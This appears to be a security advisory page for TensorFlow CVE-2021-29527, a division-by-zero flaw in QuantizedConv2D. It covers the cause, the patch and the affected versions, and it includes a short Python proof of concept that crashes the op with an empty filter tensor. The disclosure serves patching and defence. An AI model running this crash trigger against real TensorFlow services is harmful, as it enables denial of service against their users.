AI and data stack advisories

Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

TensorFlowGHSA-x4g7-fvjj-prg8

Division by 0 in `QuantizedConv2D`

TensorFlow

CVE-2021-29527 · Published May 21, 2021 · updated Sep 10, 2026

Low2.5
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

An attacker can trigger a division by 0 in tf.raw_ops.QuantizedConv2D:

```python

import tensorflow as tf

input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)

filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)

min_input = tf.constant(0.0)

max_input = tf.constant(0.0001)

min_filter = tf.constant(0.0)

max_filter = tf.constant(0.0001)

strides = [1, 1, 1, 1]

padding = "SAME"

tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)

`

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/00e9a4d67d76703fa1aee33dac582acf317e0e81/tensorflow/core/kernels/quantized_conv_ops.cc#L257-L259) does a division by a quantity that is controlled by the caller:

```cc

const int filter_value_count = filter_width * filter_height * input_depth;

const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));

`

Patches

We have patched the issue in GitHub commit [cfa91be9863a91d5105a3b4941096044ab32036b](https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range....

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`: ```python import tensorflow as tf input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8) filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8) min_input = tf.constant(0.0) max_input = tf.constant(0.0001) min_filter = tf.constant(0.0) max_filter = tf.constant(0.0001) strides = [1, 1, 1, 1] padding = "SAME" tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/00e9a4d67d76703fa1aee33dac582acf317e0e81/tensorflow/core/kernels/quantized_conv_ops.cc#L257-L259) does a division by a quantity that is controlled by the caller: ```cc const int filter_value_count = filter_width * filter_height * input_depth; const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1)); ``` ### Patches We have patched the issue in GitHub commit [cfa91be9863a91d5105a3b4941096044ab32036b](https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Severity from
GitHub (reviewed advisory)
Weakness
CWE-369
Also known as
BIT-tensorflow-2021-29527, CVE-2021-29527, PYSEC-2021-164, PYSEC-2021-455, PYSEC-2021-653

More TensorFlow advisories

All TensorFlow